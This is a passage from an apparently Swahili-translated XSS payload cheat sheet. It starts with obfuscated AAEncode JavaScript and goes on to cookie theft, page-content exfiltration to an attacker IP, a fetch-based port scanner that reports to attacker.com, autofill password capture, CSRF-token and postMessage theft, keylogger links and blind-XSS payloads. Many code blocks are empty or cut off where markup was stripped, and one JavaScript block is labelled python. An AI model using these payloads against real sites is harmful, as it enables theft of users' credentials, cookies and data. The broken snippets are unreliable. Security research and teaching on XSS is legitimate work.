(゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS common payloads ### Several payloads in 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Iframe Trap Fanya mtumiaji aende kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu): {% content-ref url="../iframe-traps.md" %} [iframe-traps.md](../iframe-traps.md) {% endcontent-ref %} ### Retrieve Cookies ```javascript /?c="+document.cookie> ``` {% hint style="info" %} Hutaweza kufikia vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa una [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/#httponly) ikiwa umebahatika. {% endhint %} ### Pora Maudhui ya Ukurasa ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Pata IP za ndani ```html ``` ### Scanner ya Port (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Skana wa Bandari (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Kukamata nywila za kujaza kiotomatiki ```javascript Username:
Password:
``` Wakati data yoyote inapoingizwa katika uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwa seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na hajiandikishe chochote, taarifa za kuingia zitavuja. ### Keylogger Nilipokuwa nikitafuta katika github, nilipata kadhaa tofauti: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * Unaweza pia kutumia metasploit `http_javascript_keylogger` ### Kuiba token za CSRF ```javascript ``` ### Kuiba ujumbe wa PostMessage ```markup ``` ### Abusing Service Workers {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Accessing Shadow DOM {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### Polyglots {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Blind XSS payloads Unaweza pia kutumia: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >
Click Me For An Awesome Time "> ">